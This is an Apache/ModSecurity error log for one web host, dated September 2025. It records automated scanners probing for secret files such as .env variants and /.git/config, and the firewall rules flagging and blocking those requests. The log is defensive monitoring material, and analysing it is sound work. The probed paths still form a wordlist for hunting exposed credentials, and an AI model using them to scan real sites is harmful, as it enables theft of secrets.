[Fri Sep 05 13:55:02.763952 2025] [:error] [pid 2495324] [client 35.180.191.10:40880] [client 35.180.191.10] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aLrPlmcf05t5foPUZx32FgAAAAk&quot;], referer: https://www.google.com/
[Sat Sep 06 21:03:36.833360 2025] [:error] [pid 2516674] [client 138.197.113.158:59190] [client 138.197.113.158] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aLyFiJuQgqswfhi5vNCS5QAAAAE&quot;]
[Sat Sep 06 21:03:36.833635 2025] [:error] [pid 2516674] [client 138.197.113.158:59190] [client 138.197.113.158] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aLyFiJuQgqswfhi5vNCS5QAAAAE&quot;]
[Sat Sep 06 21:03:36.833814 2025] [:error] [pid 2516674] [client 138.197.113.158:59190] [client 138.197.113.158] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aLyFiJuQgqswfhi5vNCS5QAAAAE&quot;]
[Sun Sep 07 15:01:16.702172 2025] [:error] [pid 2543900] [client 93.123.109.214:46074] [client 93.123.109.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aL2CHNF_QkkF-5QUXQITLQAAAAg&quot;]
[Sun Sep 07 15:01:16.702524 2025] [:error] [pid 2543900] [client 93.123.109.214:46074] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aL2CHNF_QkkF-5QUXQITLQAAAAg&quot;]
[Sun Sep 07 15:01:16.702713 2025] [:error] [pid 2543900] [client 93.123.109.214:46074] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aL2CHNF_QkkF-5QUXQITLQAAAAg&quot;]
[Sun Sep 07 15:01:16.858241 2025] [:error] [pid 2541669] [client 93.123.109.214:46080] [client 93.123.109.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aL2CHPljQM4mKxiCNXTzGwAAAAM&quot;]
[Sun Sep 07 15:01:16.858653 2025] [:error] [pid 2541669] [client 93.123.109.214:46080] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aL2CHPljQM4mKxiCNXTzGwAAAAM&quot;]
[Sun Sep 07 15:01:16.858906 2025] [:error] [pid 2541669] [client 93.123.109.214:46080] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aL2CHPljQM4mKxiCNXTzGwAAAAM&quot;]
[Sun Sep 07 15:01:17.025064 2025] [:error] [pid 2541668] [client 93.123.109.214:46084] [client 93.123.109.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.prod&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aL2CHeKBbWqSCLxiEDzaWQAAAAI&quot;]
[Sun Sep 07 15:01:17.025310 2025] [:error] [pid 2541668] [client 93.123.109.214:46084] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aL2CHeKBbWqSCLxiEDzaWQAAAAI&quot;]
[Sun Sep 07 15:01:17.025503 2025] [:error] [pid 2541668] [client 93.123.109.214:46084] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;aL2CHeKBbWqSCLxiEDzaWQAAAAI&quot;]
[Sun Sep 07 15:01:17.165049 2025] [:error] [pid 2541670] [client 93.123.109.214:46092] [client 93.123.109.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aL2CHYboWsW1RLB4eXifZAAAAAQ&quot;]
[Sun Sep 07 15:01:17.165286 2025] [:error] [pid 2541670] [client 93.123.109.214:46092] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aL2CHYboWsW1RLB4eXifZAAAAAQ&quot;]
[Sun Sep 07 15:01:17.165456 2025] [:error] [pid 2541670] [client 93.123.109.214:46092] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aL2CHYboWsW1RLB4eXifZAAAAAQ&quot;]
[Sun Sep 07 15:01:17.290923 2025] [:error] [pid 2552557] [client 93.123.109.214:46102] [client 93.123.109.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dev/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;aL2CHScSmhSCSHiJdkiaYwAAAAs&quot;]
[Sun Sep 07 15:01:17.291161 2025] [:error] [pid 2552557] [client 93.123.109.214:46102] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;aL2CHScSmhSCSHiJdkiaYwAAAAs&quot;]
[Sun Sep 07 15:01:17.291342 2025] [:error] [pid 2552557] [client 93.123.109.214:46102] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;aL2CHScSmhSCSHiJdkiaYwAAAAs&quot;]
[Sun Sep 07 15:01:17.405860 2025] [:error] [pid 2552558] [client 93.123.109.214:46116] [client 93.123.109.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /application/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aL2CHUFu5ZsGRj6Cs1t26AAAAAw&quot;]
[Sun Sep 07 15:01:17.406102 2025] [:error] [pid 2552558] [client 93.123.109.214:46116] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aL2CHUFu5ZsGRj6Cs1t26AAAAAw&quot;]
[Sun Sep 07 15:01:17.406271 2025] [:error] [pid 2552558] [client 93.123.109.214:46116] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aL2CHUFu5ZsGRj6Cs1t26AAAAAw&quot;]
[Sun Sep 07 15:01:18.015216 2025] [:error] [pid 2543900] [client 93.123.109.214:46174] [client 93.123.109.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aL2CHtF_QkkF-5QUXQITLgAAAAg&quot;]
[Sun Sep 07 15:01:18.015446 2025] [:error] [pid 2543900] [client 93.123.109.214:46174] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aL2CHtF_QkkF-5QUXQITLgAAAAg&quot;]
[Sun Sep 07 15:01:18.015622 2025] [:error] [pid 2543900] [client 93.123.109.214:46174] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backend/.env&quot;] [unique_id &quot;aL2CHtF_QkkF-5QUXQITLgAAAAg&quot;]
[Sun Sep 07 15:01:18.125341 2025] [:error] [pid 2541669] [client 93.123.109.214:46190] [client 93.123.109.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aL2CHvljQM4mKxiCNXTzHAAAAAM&quot;]
[Sun Sep 07 15:01:18.126799 2025] [:error] [pid 2541669] [client 93.123.109.214:46190] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aL2CHvljQM4mKxiCNXTzHAAAAAM&quot;]
[Sun Sep 07 15:01:18.126968 2025] [:error] [pid 2541669] [client 93.123.109.214:46190] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aL2CHvljQM4mKxiCNXTzHAAAAAM&quot;]
[Sun Sep 07 15:01:18.233129 2025] [:error] [pid 2541668] [client 93.123.109.214:46202] [client 93.123.109.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aL2CHuKBbWqSCLxiEDzaWgAAAAI&quot;]
[Sun Sep 07 15:01:18.233365 2025] [:error] [pid 2541668] [client 93.123.109.214:46202] [client 93.123.109.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aL2CHuKBbWqSCLxiEDzaWgAAAAI&quot;]
[Sun Sep 07 15:01:18.233528 2025] [:error] [pid 2541668] [client 93.123.109.214:46202] [client 93.123.109.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;aL2CHuKBbWqSCLxiEDzaWgAAAAI&quot;]
[Sun Sep 07 23:17:43.434235 2025] [:error] [pid 2558733] [client 195.178.110.161:38580] [client 195.178.110.161] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aL32d1L4ZeA6zaNplnWANAAAAAU&quot;]
[Sun Sep 07 23:17:43.434596 2025] [:error] [pid 2558733] [client 195.178.110.161:38580] [client 195.178.110.161] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aL32d1L4ZeA6zaNplnWANAAAAAU&quot;]
